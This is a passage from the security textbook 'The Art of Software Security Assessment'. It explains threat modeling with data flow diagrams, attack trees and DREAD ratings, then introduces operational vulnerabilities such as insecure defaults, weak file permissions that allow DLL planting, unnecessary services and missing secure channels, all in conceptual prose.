modifications are made in later development phases. It can, however, be integrated entirely at later phases of the SDLC. It can also be applied after development to evaluate an application's potential exposure. The phase you choose depends on your own requirements, but keep in mind that the design review is just a component of a complete application review. So make sure you account for the requirements of performing the implementation and operational review of the final system. This approach to threat modeling should help establish a framework for relating many of the concepts you've already learned. This process can also serve as a roadmap for applying many concepts in the remainder of this book. However, you should maintain a willingness to adapt your approach and alter these techniques as required to suit The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 63 different situations. Keep in mind that processes and methodologies can make good servants but are poor masters. Note This threat-modeling process was originally introduced in Writing Secure Code, 2nd Edition (Microsoft Press, 2002(? [????.])) by Michael Howard and David Le Blanc. It was later expanded and refined in Threat Modeling (Microsoft Press, 2004(? [????.])) by Frank Swiderski and Window Snyder. Information Collection The first step in building a threat model is to compile all the information you can about the application. You shouldn't put too much effort into isolating security-related information yet because at this phase you aren't certain what's relevant to security. Instead, you want to develop an understanding of the application and get as much information as possible for the eventual implementation review. These are the key areas you need to identify by the end of this phase:  Assets Assets include anything in the system that might have value to attackers. They could be data contained in the application or an attached database, such as a database table of user accounts and passwords. An asset can also be access to some component of the application, such as the capability to run arbitrary code on a target system.  Entry points Entry points include any path through which an attacker can access the system. They include any functionality exposed via means such as listening ports, Remote Procedure Call (RPC) endpoints, submitted files, or any client-initiated activity.  External entities External entities communicate with the system via its entry points. These entities include all user classes and external systems that interact with the application.  External trust levels External trust levels refer to the privileges granted to an external entity, as discussed in "Trust Relationships" earlier in this chapter. A complex system might have several levels of external trust associated with different entities, whereas a simple application might have nothing more than a concept of local and remote access.  Major components Major components define the structure of an application design. Components can be internal to the application, or they might represent external module dependencies. The threat-modeling process involves decomposing these components to isolate their security-relevant considerations.  Use scenarios Use scenarios cover all potential applications of the system. They include a list of both authorized and unauthorized scenarios. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 64 Developer Interviews In many situations, you can save yourself a lot of time by going straight to the horse's mouth, as it were. So if you have access to the developers, be sure to use this access to your advantage. Of course, this option might not be available. For instance, an independent vulnerability researcher rarely has access to the application's developers. When you approach a system's developers, you should keep a few points in mind. First, you're in a position to criticize work they have put a lot of time and effort into. Make it clear that your goal is to help improve the security of their application, and avoid any judgmental or condescending overtones in your approach. After you have a decent dialogue going, you still need to verify any information you get against the application's implementation. After all, the developers might have their own misconceptions that could be a contributing factor to some vulnerabilities. Developer Documentation A well-documented application can make the review process faster and more thorough; however, there's one major catch to this convenience. You should always be cautious of any design documentation for an existing implementation. The reason for this caution isn't usually deceitful or incompetent developers; it's just that too many things change during the implementation process for the result to ever match the specifications perfectly. A number of factors contribute to these inconsistencies between specifications and the implementation. Extremely large applications can often drift drastically from their specifications because of developer turnover and minor oversights compounded over time. Implementations can also differ simply because two people rarely have exactly the same interpretation of a specification. The bottom line is that you should expect to validate everything you determine from the design against the actual implementation. Keeping this caveat in mind, you still need to know how to wring everything you can out of the documentation you get. Generally, you want anything you can get your hands on, including design (diagrams, protocol specifications, API documentation, and so on), deployment (installation guides, release notes, supplemental configuration information, and so forth), and end-user documentation. In binary (and some source code) reviews, end-user documentation is all you can get, but don't underestimate its value. This documentation is "customer-facing" literature, so it tends to be fairly accurate and can offer a process-focused view that makes the system easier to understand. Standards Documentation The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 65 If you're asked to examine an application that uses standardized network protocols or file formats, a good understanding of how those protocols and file formats are structured is necessary to know how the application should function and what deficiencies might exist. Therefore, acquiring any published standards and related documentation created by researchers and authors is a good idea. Typically, Internet-related standards documents are available as requests for comments (RFCs, available at www.ietf.org/rfc/). Open-source implementations of the same standards can be particularly useful in clarifying ambiguities you might encounter when researching the technology a target application uses. Source Profiling Access to source code can be extremely helpful when you're trying to gather information on an application. You don't want to go too deep at this phase, but having the source code can speed up a lot of the initial modeling process. Source code can be used to initially verify documentation, and you can determine the application's general structure from class and module hierarchies in the code. When the source does not appear to be laid out hierarchically, you can look at the application startup to identify how major components are differentiated at initialization. You can also identify entry points by skimming the code to find common functions and objects, such as listen() or ADODB. System Profiling System profiling requires access to a functional installation of the application, which gives you an opportunity to validate the documentation review and identify elements the documentation missed. Threat models performed strictly from documentation need to skip this step and validate the model entirely during the implementation review. You can use a variety of methods for profiling an application. Here are a few common techniques:  File system layout Look at the application's file system layout and make notes of any important information. This information includes identifying the permission structure, listing all executable modules, and identifying any relevant data files.  Code reuse Look for any application components that might have come from another library or package, such as embedded Web servers or encryption libraries. These components could present their own unique attack surface and require further review.  Imports and exports List the function import and export tables for every module. Look closely for any libraries used for establishing or managing external connections or RPC interfaces. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 66  Sandboxing Run the application in a sandbox so that you can identify every object it touches and every activity it performs. Use a sniffer and application proxies to record any network traffic and isolate communication. In Windows environments, the Filemon, Regmon, WinObj, and Process Explorer utilities (from www.sysinternals.com) are helpful for this activity.  Scanning Probe the application on any listening ports, RPC interfaces, or similar external interfaces. Try grabbing banners to validate the protocols in use and identify any authentication requirements. For HTTP applications, try spidering links and identifying as many unique entry points as possible. Application Architecture Modeling After you have some background information, you need to begin examining the application architecture. This phase involves familiarizing yourself with how the software is structured and what components can affect its overall security. These steps help identify design concerns and let you know where to focus your energies during the implementation review. You build this knowledge by reviewing existing documentation of the application model and developing new models as required. Every piece of software is modeled to some extent during its development; the only difference is whether the models are ever formally recorded. So you need to understand the types of modeling in common use and how you can develop your own. Unified Markup Language Unified Markup Language (UML) is a specification developed by the Object Management Group (OMG; www.omg.org/uml/) to describe many different aspects of how an application operates from a fairly high level. It includes diagrams to describe information flow, interaction between components, different states the application can be in, and more. Of particular interest in this phase are class diagrams, component diagrams, and use cases. The following list briefly describes these types of diagrams so that you get a feel for what they're trying to convey. If you're unfamiliar with UML, picking up one of the myriad books available on the subject is strongly recommended. Because of UML's complexity, explaining it in depth is far beyond the scope of this chapter. Note UML has gone through several revisions. The currently accepted standard is UML 2.0.  Class diagrams A class diagram is a UML diagram for modeling an object-oriented (OO) solution. Each object class is represented by a rectangle that includes the methods and attributes in the class. Relationships between objects are then represented by lines between classes. Lines with arrows on The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 67 one end define parents in an inheritance hierarchy; unadorned lines (no arrows) with numbers near the ends indicate a cardinality relationship. Class diagrams can be helpful when you're trying to understand relationships in a complex module. They essentially spell out how an application is modeled and how classes interact with each other. Realistically, however, you won't encounter them all that often unless you're performing in-house code reviews. By analyzing an OO solution, you can roughly construct class diagrams. Although doing so might seem like a waste of time, they can be useful when you need to come back and review the same software later or when you perform an initial high-level review and then hand off various code-auditing tasks to other members of a team.  Component diagrams Component diagrams divide a solution into its constituent components, with connectors indicating how they interact with each other. A component is defined as an opaque subsystem that provides an independent function for a solution. Examples of a component include a database, a parser of some description, an ordering system, and so forth. A component diagram offers a less complex view of a system than class diagrams do because components generally represent a complete self-contained subsystem, often implemented by many classes and modules. A component diagram exposes interfaces (denoted by protruding circles) and uses interfaces of other components (denoted by an empty semicircle). Components are tied together through these interface exposures or by means of association lines, which indicate that two components are inherently interrelated and don't rely on exposed interfaces. Component diagrams also allow two components to be joined together by realization. A realization simply means that the functionality required by one component is a subset of the functionality exposed by an interface of another component. Realization is represented by a dotted line. In an assessment, a component diagram can be valuable for defining the high-level view of a system and its intercomponent relationships. It can be especially useful when you're trying to develop the initial context of a threat model because it eliminates much of a system's complexity and allows you to focus on the big picture.  Use cases A use case is possibly the most nebulous component of the UML standard. There are no strict requirements for what a use case should look like or include. It can be represented with text or graphics, and developers choose which they prefer. Fundamentally, a use case is intended to describe how an application should be used, so a good set of use cases can come in handy. After all, when you know what an application should be doing, addressing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 68 what it shouldn't be doing is easier. When reviewing use cases, keep an eye out for any developer assumptions about the system's behavior. Data Flow Diagrams A number of diagramming tools can aid in understanding a system, but the data flow diagram (DFD) is one of the most effective for security purposes. These diagrams are used to map how data moves through a system and identify any affected elements. If done properly, the DFD modeling process accounts not only for the application functionality exposed directly to external sources, but also the functionality that's exposed indirectly. This modeling process also accounts for mitigating factors in a system's design, such as additional security measures enforcing trust boundaries. Figure 2-2 shows the five main elements of a DFD, which are summarized in the following list: Figure 2-2. DFD elements [View full size image]  Processes Processes are opaque logic components with well-defined input and output requirements. They are represented with a circle, and groups of related processes are represented by a circle with a double border. Multiple process groups can be further decomposed in additional DFDs for each single process. Although processes aren't typically assets, they can be in some contexts.  Data stores Data stores are information resources the system uses, such as files and databases. They are represented by open-ended rectangular boxes. Usually, anything represented in this way in a DFD is considered a system asset.  External entities These elements, described previously in "Information Collection," are "actors" and remote systems that communicate with the system over its entry points. They are represented by closed rectangles. Identifying external entities helps you isolate system entry points quickly and The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 69 determine what assets are externally accessible. External entities might also represent assets that need to be protected, such as a remote server.  Data flow The flow of data is represented by arrows. It indicates what data is sent through what parts of the system. These elements can be useful for discovering what user-supplied data can reach certain components so that you can target them in the implementation review.  Trust boundary Trust boundaries are the boundaries between different entities in the system or between entire systems. They are represented by a dotted line between the two components. Figure 2-3 shows how you can use DFD elements to model a system. It represents a simplified model of a basic Web application that allows users to log in and access resources stored in a database. Of course, DFDs look different at various levels of an application. A simple, high-level DFD that encapsulates a large system is referred to as a context diagram. The Web site example is a context diagram because it represents a high-level abstraction that encapsulates a complex system. Figure 2-3. A DFD context diagram [View full size image] However, your analysis generally requires you to decompose the system further. Each successive level of decomposition is labeled numerically, starting from zero. A level-0 diagram identifies the major application subsystems. The major subsystems in this Web application are distinguished by the user's authentication state. This distinction is represented in the level-0 diagram in Figure 2-4. Figure 2-4. A DFD level-0 diagram of the login process [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 70 Depending on the complexity of a system, you may need to continue decomposing. Figure 2-5 is a level-1 diagram of the Web application's login process. Normally, you would only progress beyond level-0 diagrams when modeling complex subsystems. However, this level-1 diagram provides a useful starting point for using DFDs to isolate design vulnerabilities. Figure 2-5. A DFD level-0 diagram of the login process [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 71 When preparing for an implementation review, you can use these diagrams to model application behavior and isolate components. For instance, Figure 2-6 shows the login process altered just a bit. Can you see where the vulnerability is? The way the login process handles an invalid login has been changed so that it now returns the result of each phase directly back to the client. This altered process is vulnerable because attackers can identify valid usernames without logging in successfully, which can be extremely useful in attempting a brute-force attack against the authentication system. Figure 2-6. A DFD showing a login vulnerability [View full size image] By diagramming this system, you can more easily identify its security components. In this example, it helped you isolate a vulnerability in the way the system authenticates. Of course, the login example is still fairly simple; a more complex system might have several layers of complexity that must be encapsulated in multiple DFDs. You probably don't want model all these layers, but you should decompose different components until you've reached a point that isolates the security-relevant considerations. Fortunately, there are tools to assist in this process. Diagramming applications such as Microsoft Visio are useful, and the Microsoft Threat Modeling Tool is especially helpful in this process. Threat Identification The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 72 Threat identification is the process of determining an application's security exposure based on your knowledge of the system. This phase builds on the work you did in previous phases by applying your models and understanding of the system to determine how vulnerable it is to external entities. For this phase, you use a new modeling tool called attack trees (or threat trees), which provide a standardized approach for identifying and documenting potential attack vectors in a system. Drawing an Attack Tree The structure of an attack tree is quite simple. It consists of a root node, which describes the attacker's objective, and a series of subnodes that indicate ways of achieving that objective. Each level of the tree breaks the steps into more detail until you have a realistic map of how an attacker can exploit a system. Using the simple Web application example from the previous section, assume it's used to store personal information. Figure 2-7 shows a high-level attack tree for this application. Figure 2-7. Attack tree example [View full size image] As you can see, the root node is at the top with several subnodes underneath. Each subnode states an attack methodology that could be used to achieve the goal stated in the root node. This process is further decomposed, as necessary, into subnodes that eventually define an attack. Looking at this diagram, you should start to notice the similarities between attack trees and DFDs. After all, an attack tree isn't developed in a vacuum. It's best created by walking through a DFD and using the attack tree to note specific concerns. As an example, notice how the branch leading to subnode 1.2.1 follows the same reasoning pattern used previously in analyzing the DFD of the flawed login process. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 73 As with DFDs, you want to continue decomposing attack trees only along security-relevant paths. You need to use your judgment and determine what paths constitute reasonable attack vectors and what vectors are unlikely. Before getting into that topic, however, continue to the next section for a more detailed description of the attack tree structure. Node Types You might have noticed some strange markings in the lines connecting each node to its children (such as nodes 1.2.1.1 and 1.2.1.2). The arc between these node connectors indicates that the child nodes are AND nodes, meaning both conditions of the child node must be met to continue evaluating the vector. A node without an arc is simply an OR node, meaning either branch can be traversed without any additional condition. Referring to Figure 2-7, look at the brute-force login vector in node 1.2.1. To traverse past this node, you must meet the following conditions in the two subnodes:  Identify username  Identify user password Neither step can be left out. A username with no password is useless, and a password without the associated username is equally useless. Therefore, node 1.2.1 is an AND node. Conversely, OR nodes describe cases in which an objective can be reached by achieving any one of the subnodes. So the condition of just a single node must be met to continue evaluating the child nodes. Referring to Figure 2-7 again, look at the objective "Log in as target user" in node 1.2. This objective can be achieved with either of the following approaches:  Brute-force login  Steal user credentials To log in as the user, you don't have to achieve both goals; you need to achieve only one. Therefore, they are OR nodes. Textual Representation You can represent attack trees with text as well as graphics. Text versions convey identical information as the graphical versions but sometimes aren't as easy to visualize (although they're more compact). The following example shows how you would represent the attack tree from Figure 2-7 in a text format: 1. Adversary gains access to a user's personal information OR 1.1 Gain direct access to the database 1.1.1 Exploit a hole in system application or kernel The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 74 1.2 Log in as target user OR 1.2.1 Brute-force login AND 1.2.1.1 Identify username 1.2.1.2 Identify user password 1.2.2 Steal user credentials 1.3 Hijack user session 1.3.1 Steal user session cookie 1.4 Passively intercept personal data AND 1.4.1 Identify user connection initiation 1.4.2 Sniff network traffic for personal data As you can see, all the same information is present. First, the root node objective is stated as the heading of the attack tree, and its immediate descendants are numbered and indented below the heading. Each new level is indented again and numbered below its parent node in the same fashion. The AND and OR keywords are used to indicate whether nodes are AND or OR nodes. Threat Mitigation Part of the value of an attack tree is that it allows you to track potential threats. However, tracking threats isn't particularly useful if you have no way of identifying how they are mitigated. Fortunately, attack trees include a special type of node for addressing that concern: a circular node. Figure 2-8 shows a sample attack tree with mitigating factors in place. Figure 2-8. An attack tree with mitigation nodes [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 75 Three mitigation nodes have been added to this attack tree to help you realize that these vectors are less likely avenues of attack than the unmitigated branches. The dashed lines used in one mitigation node are a shorthand way to identify a branch as an unlikely attack vector. It doesn't remove the branch, but it does encourage you to direct your focus elsewhere. One final note on mitigation: You don't want to look for it too early. Identifying mitigating factors is useful because it can prevent you from pursuing an unlikely attack vector. However, you don't want to get lulled into a false sense of security and miss a likely branch. So consider mitigation carefully, and make sure you perform some validation before you add it to your attack tree. Documentation of Findings Now that the investigative work is done, you need to document what you discovered. In the documentation phase, you will review the threats you uncovered in the previous phase and present them in a formal manner. For each threat you uncovered, you need to provide a brief summary along with any recommendations for eliminating the threat. To see how this process works, use the "Brute-force login" threat (node 1.2.1) from your sample attack tree. This threat could allow an attacker to log in with another user's credentials. The documentation of your threat summary would look similar to Table 2-1. Table 2-1. Threat Summary Threat Brute-force login. Affected Component Web application login component. Description Clients can brute-force attack usernames and passwords by repeatedly connecting and attempting to log in. This threat is increased because the application returns different error messages for invalid username and passwords, making usernames easier to identify. Result Untrusted clients can gain access to a user account and, therefore, read or modify sensitive information. Mitigation Strategies Make error messages ambiguous so that an attacker doesn't know whether the username or password is invalid. Lock the user account after repeated failed login attempts. (Three or five attempts would be appropriate.) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 76 All the information for the brute-force login threat is neatly summarized in a table. In the next part of this phase, you extend this table to include some additional information on the risk of the threat. DREAD Risk Ratings Real-world applications are generally much larger and more complex in both design and implementation than the examples used in this chapter. Increased size and complexity creates a broad spectrum of attack vectors in a variety of user classes. As a result, you can usually come up with a long list of potential threats and possible recommendations to help mitigate those threats. In a perfect world, designers could systematically go about addressing each threat and fixing potential issues, closing each attack vector as necessary. However, certain business realities might not allow mitigating every identified vector, and almost certainly not all at once. Clearly, some sort of prioritization is needed to help address the more serious vectors before worrying about the less important ones. By assigning a threat severity rating, you can rank each uncovered threat based on the risk it poses to the security of the application and associated systems. This rating can then be used as a guideline for developers to help decide which issues take precedence. You can choose to rate threats in a number of different ways. What's most important is that you incorporate the exposure of the threat (how easy is it to exploit and who the vector is available to) and the amount of damage incurred during a successful exploit. Beyond that, you might want to add components that are more pertinent to your environment and business processes. For this chapter's threat-modeling purposes, the DREAD rating system developed by Microsoft is used. No model is perfect, but this one provides a fairly good balance of commonly accepted threat characteristics. These characteristics are briefly summarized as follows:  Damage potential What are the repercussions if the threat is exploited successfully?  Reproducibility How easy is it to reproduce the attack in question?  Exploitability How difficult is it to perform the attack?  Affected users If a successful attack is carried out, how many users would be affected and how important are they?  Discoverability How difficult is it to spot the vulnerability? Each category can be given a score between 1 and 10 (1 being the lowest, 10 the highest). Category scores are then totaled and divided by 5 for an overall threat rating. A rating of 3 or below can be considered a low-priority threat, 4 to 7 as a medium-priority threat, and 8 or greater as a high-priority threat. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 77 The DREAD model is also useful in rating implementation and operational vulnerabilities. In fact, you can use DREAD as your general-purpose rating system over the entire course of an application review. One of the benefits of the DREAD rating system is that it provides a range of detail you can use when presenting results to business decision makers. You can give them a concise threat assessment, with just the total threat rating and the category it falls into. You could also present more detailed information, such as individual scores for the five threat categories. You might even want to give them a full report, including the model documentation and an explanation of how you arrived at the scores for each category. Regardless of your choice, it's a good idea to have information available at each level of detail when making a presentation to clients or senior management. Table 2-2 is an example of applying a DREAD rating to the brute-force login threat. Table 2-2. Threat Summary with DREAD Rating Threat Brute-force login. Affected Component Web application login component. Description Clients can brute-force attack usernames and passwords by repeatedly connecting and attempting to log in. This threat is increased because the application returns a different error message for an invalid username than a valid one, making usernames easier to identify. Result Untrusted clients can gain access to a user account and, therefore, read or modify sensitive information. Mitigation Strategies Make error messages ambiguous so that an attacker doesn't know whether the username or password is invalid. Lock the user account after repeated failed login attempts. (Three to five attempts would be appropriate.) Risk Damage potential: 6 Reproducibility: 8 Exploitability: 4 Affected users: 5 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 78 Table 2-2. Threat Summary with DREAD Rating Threat Brute-force login. Discoverability: 8 Overall: 6.2 Automatic Threat-Modeling Documentation As you can see, quite a lot of documentation is involved in the threat-modeling process (both text and diagrams). Thankfully, Frank Swiderski (co-author of the previously mentioned Threat Modeling) has developed a tool to help with creating various threat-modeling documents. It's available as a free download at http://msdn.microsoft.com/security/securecode/threatmodeling/. The tool makes it easy to create DFDs, use cases, threat summaries, resource summaries, implementation assumptions, and many other documents you're going to need. Furthermore, the documentation is organized into a tree structure that's easy to navigate and maintain. The tool can output all your documentation as HTML or another output form of your choosing, using Extensible Stylesheet Language Transformations (XSLT) processing. Familiarizing yourself with this tool for threat-modeling documentation is strongly recommended. Prioritizing the Implementation Review Now that you've completed and scored your threat summaries, you can finally turn your attention to structuring the implementation review. When developing your threat model, you should have decomposed the application according to a variety of factors, including modules, objects, and functionality. These divisions should be reflected in the Affected Components entry in each individual threat summary. The next step is to make a list of components at the appropriate level of decomposition; exactly what level is determined by the size of the application, number of reviewers, time available for review, and similar factors. However, it's usually best to start at a high level of abstraction, so you only need to consider a handful of components. In addition to the component names, you need another column on your list for risk scores associated with each component. After you have this component list, you simply identify which component a threat summary belongs to and add the risk score for that summary to the associated component. After you've totaled your list of summaries, you'll have a score for the risk associated with each component. Generally, you want to start your assessment with the highest scoring component and continue proceeding from highest to lowest. You might also need to eliminate some components due to time, budget, or other constraints. So it's best to start eliminating from the lowest scoring components. You can apply this scoring process to the next level of decomposition for a large The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 79 application; although that starts to get into the implementation review process, which is covered in detail in Chapter 4(? [????.]), "Application Review Process." Using a scoring list can make it a lot easier to prioritize a review, especially for a beginner. However, it isn't necessarily the best way to get the job done. An experienced auditor will often be able to prioritize the review based on their understanding of similar applications. Ideally, this should line up with the threat summary scores, but sometimes that isn't the case. So it's important to take the threat summaries into account, but don't cling to them when you have a reason to follow a better plan. 6.2.5 Summary This chapter has examined the essential elements of application design review. You've seen that security needs to be a fundamental consideration in application design and learned how decisions made in the design process can dramatically affect an application's security. You have also learned about several tools for understanding the security and vulnerability potential of an application design. It's important that you not treat the design review process as an isolated component. The results of the design review should progress naturally into the implementation review process, discussed in depth in Chapter 4(? [????.]). 6.3 Chapter 3. Operational Review "Civilization advances by extending the number of important operations which we can perform without thinking." 6.3.1 Introduction Operational vulnerabilities are the result of issues in an application's configuration or deployment environment. These vulnerabilities can be a direct result of configuration options an application offers, such as default settings that aren't secure, or they might be the consequence of choosing less secure modes of operation. Sometimes these vulnerabilities are caused by a failure to use platform security measures properly, such as file system and shared object permissions. Finally, an operational vulnerability could be outside the developer's direct control. This problem occurs when an application is deployed in a manner that's not secure or when the base platform inherits vulnerabilities from the deployment environment. The responsibility for preventing these vulnerabilities can fall somewhere between the developer and the administrative personnel who deploy and maintain the system. Shrink-wrapped commercial software might place most of the operational security The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 80 burden on end users. Conversely, you also encounter special-purpose systems, especially embedded devices and turnkey systems, so tightly packaged that developers control every aspect of their configuration. This chapter focuses on identifying several types of operational vulnerabilities and preventive measures. Concrete examples should help you understand the subtle patterns that can lead to these vulnerabilities. The goal is to help you understand how to identify these types of vulnerabilities, not present an encyclopedia of potential issues. Technologies are varied and change often, but with a little practice, you should be able to spot the commonalities in any operational vulnerability, which helps you establish your own techniques for identifying vulnerabilities in the systems you review. 6.3.2 Exposure When reviewing application security, you need to consider the impact of the deployment environment. This consideration might be simple for an in-house application with a known target. Popular commercial software, on the other hand, could be deployed on a range of operating systems with unknown network profiles. When considering operational vulnerabilities, you need to identify these concerns and make sure they are adequately addressed. The following sections introduce the elements of an application's environment that define its degree of exposure to various classes of users who have access to and, therefore, are able to attack the application. Attack Surface Chapter 2(? [????.]), "Design Review," covered the threat-modeling concepts of assets and entry points. These concepts can be used to define an application's attack surface, the collection of all entry points that provide access to an asset. At the moment, how this access is mitigated isn't a concern; you just need to know where the attack surface is. For the purposes of this chapter, the discussions of trust models and threats have been simplified because operational vulnerabilities usually occur when the attack surface is exposed unnecessarily. So it helps to bundle the complexities into the attack surface and simply look for where it can be eliminated. The actual process of minimizing the attack surface is often referred to as "host hardening" or "application hardening." Hardening specific platforms isn't covered in this book, as better resources are dedicated to hardening a particular platform. Instead, this chapter focuses on several general operational vulnerabilities that occur because software deployment and configuration aren't secure. Insecure Defaults The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 81 Insecure defaults are simply preconfigured options that create an unnecessary risk in a deployed application. This problem tends to occur because a software or device vendor is trying to make the deployment as simple and painless as possiblewhich brings you back to the conflict between usability and security. Any reader with a commercial wireless access point has probably run into this same issue. Most of these devices are preconfigured without any form of connection security. The rationale is that wireless security is buggy and difficult to configure. That's probably true to an extent, but the alternative is to expose your wireless communications to anyone within a few hundred yards. Most people would rather suffer the inconvenience of struggling with configuration than expose their wireless communications. As a reviewer, two types of vulnerable default settings should concern you the most. The first is the application's default settings, which include any options that can reduce security or increase the application's attack surface without the user's explicit consent. These options are discussed in more detail in the remainder of this chapter, but a few obvious installation considerations are prompting for passwords versus setting defaults, enabling more secure modes of communication, and enforcing proper access control. You also need to consider the default settings of the base platform and operating system. Examples of this measure include ensuring that the installation sets adequate file and object permissions or restricting the verbs allowed in a Web request. The process can get a bit complicated if the application is portable across a range of installation targets, so be mindful of all potential deployment environments. In fact, one of main contributors to insecure defaults in an application is that the software is designed and built to run on many different operating systems and environments; a safe setting on one operating system might not be so safe on another. Access Control Chapter 2(? [????.]) introduced access control and how it affects an application's design. The effects of access control, however, don't stop at the design. Internally, an application can manage its own application-specific access control mechanisms or use features the platform provides. Externally, an application depends entirely on the access controls the host OS or platform provides (a subject covered in more depth later in Chapter 9(? [????.]), "Unix I: Privileges and Files," and Chapter 11(? [????.]), "Windows I: Objects and the File System"). Many developers do a decent amount of scripting; so you probably have a few scripting engines installed on your system. On a Windows system, you might have noticed that most scripting installations default to a directory right off the root. As an example, in a typical install of the Python interpreter on a Windows system, the default installation path is C:\Python24, so it's installed directly off the root directory The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 82 of the primary hard drive (C:). This installation path alone isn't an issue until you take into account default permissions on a Windows system drive. These permissions allow any user to write to a directory created off the root (permission inheritance is explained in more detail in Chapter 11(? [????.])). Browsing to C:\Python24, you find python.exe (among other things), and if you look at the imported dynamic link libraries (DLLs) that python.exe uses, you find msvcr71.dll listed. Note For those unfamiliar with basic Windows binary layout, an import is a required library containing routines the application needs to function correctly. In this example, python.exe needs routines implemented in the msvcr71 library. The exact functions python.exe requires are also specified in the imports section. Chapter 11(? [????.]) explains the particulars of how Windows handles imported. What's important to this discussion is that you can write your own msvcr71.dll and store it in the C:\Python24 directory, and then it's loaded when anyone runs python.exe. This is possible because the Windows loader searches the current directory for named DLLs before searching system directories. This Windows feature, however, could allow an attacker to run code in the context of a higher privileged account, which would be particularly useful on a terminal server, or in any shared computing environment. You could have the same problem with any application that inherits permissions from the root drive. The real problem is that historically, Windows developers have often been unaware of the built-in access control mechanisms. This is only natural when you consider that Windows was originally a single-user OS and has since evolved into a multiuser system. So these problems might occur when developers are unfamiliar with additional security considerations or are trying to maintain compatibility between different versions or platforms. Unnecessary Services You've probably heard the saying "Idle hands are the devil's playthings." You might not agree with it in general, but it definitely applies to unnecessary services. Unnecessary services include any functionality your application provides that isn't required for its operation. These capabilities often aren't configured, reviewed, or secured correctly. These problems tend to result from insecure default settings but might be caused by the "kitchen sink mentality," a term for developers and administrators who include every possible capability in case they need it later. Although this approach might seem convenient, it can result in a security nightmare. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 83 When reviewing an application, make sure you can justify the need for each component that's enabled and exposed. This justification is especially critical when you're reviewing a deployed application or turnkey system. In this case, you need to look at the system as a whole and identify anything that isn't needed. The Internet Information Services (IIS) HTR vulnerabilities are a classic example of exposing a vulnerable service unnecessarily. HTR is a scripting technology Microsoft pioneered that never gained much following, which can be attributed to the release of the more powerful Active Server Pages (ASP) shortly after HTR. Any request made to an IIS server for a filename with an .htr extension is handled by the HTR Internet Server API (ISAPI) filter. Note ISAPI filters are IIS extension modules that can service requests based on file extensions. From 1999 through 2002, a number of researchers identified HTR vulnerabilities ranging from arbitrary file reading to code execution. None of these vulnerabilities would have been significant, however, if this rarely used handler had simply been disabled in the default configuration. Secure Channels A secure channel is any means of communication that ensures confidentiality between the communicating parties. Usually this term is used in reference to encrypted links; however, even a named pipe can be considered a secure channel if access control is used properly. In either case, what's important is that only the correct parties can view or alter meaningful data in the channel, assuming, of course, that the parties have already been authenticated by some means. Sometimes the need for secure channels can be determined during the design of an application. You might know before deployment that all communications must be conducted over secure channels, and the application must be designed and implemented in this way. More often, however, the application design must account for a range of possible deployment requirements. The most basic example of a secure channel vulnerability is simply not using a secure channel when you should. Consider a typical Web application in which you authenticate via a password, and then pass a session key for each following transaction. (This topic is explained in more detail in Chapter 17(? [????.]), "Web Applications.") You expect password challenges to be performed over Secure Sockets Layer (SSL), but what about subsequent exchanges? After all, attackers would like to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 84 retrieve your password, but they can still get unrestricted access to your session if they get the session cookie. This example shows that the need for secure channels can be a bit subtle. Everyone can agree on the need to protect passwords, but the session key might not be considered as important, which is perfectly acceptable sometimes. For example, most Web-based e-mail providers use a secure password exchange, but all remaining transactions send session cookies in the clear. These providers are offering a free service with a minimal guarantee of security, so it's an acceptable business risk. For a banking application, however, you would expect that all transactions occur over a secure channel. Spoofing and Identification Spoofing occurs whenever an attacker can exploit a weakness in a system to impersonate another person or system. Chapter 2(? [????.]) explained that authentication is used to identify users of an application and potentially connected systems. However, deploying an application could introduce some additional concerns that the application design can't address directly. The TCP/IP standard in most common use doesn't provide a method for preventing one host from impersonating another. Extensions and higher layer protocols (such as IPsec and SSL) address this problem, but at the most basic level, you need to assume that any network connection could potentially be impersonated. Returning to the SSL example, assume the site allows only HTTPS connections. Normally, the certificate for establishing connections would be signed by a trusted authority already listed in your browser's certificate database. When you browse to the site, the name on the certificate is compared against the server's DNS name; if they match, you have a reasonable degree of certainty that the site hasn't been spoofed. Now change the example a bit and assume that the certificate isn't signed by a default trusted authority. Instead, the site's developer has signed the certificate. This practice is fairly common and perfectly acceptable if the site is on a corporate intranet. You simply need to ensure that every client browser has the certificate added to its database. If that same site is on the public Internet with a developer-signed certificate, however, it's no longer realistic to assume you can get that certificate to all potential clients. The client, therefore, has no way of knowing whether the certificate can be trusted. If users browse to the site, they get an error message stating that the certificate isn't signed by a trusted authority; the only option is to accept the untrusted certificate or terminate the connection. An attacker capable of spoofing the server could exploit The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 85 this situation to stage man-in-the-middle attacks and then hijack sessions or steal credentials. Network Profiles An application's network profile is a crucial consideration when you're reviewing operational security. Protocols such as Network File System (NFS) and Server Message Block (SMB) are acceptable inside the corporate firewall and generally are an absolute necessity. However, these same types of protocols become an unacceptable liability when they are exposed outside the firewall. Application developers often don't know the exact environment an application might be deployed in, so they need to choose intelligent defaults and provide adequate documentation on security concerns. Generally, identifying operational vulnerabilities in the network profile is easier for a deployed application. You can simply look at what the environment is and identify any risks that are unacceptable, and what protections are in place. Obvious protections include deploying Internet-facing servers inside demilitarized zones (DMZs) and making sure firewall rule sets are as strict as reasonably possible. Network profile vulnerabilities are more difficult to tackle when the environment is unknown. As a reviewer, you need to determine the most hostile potential environment for a system, and then review the system from the 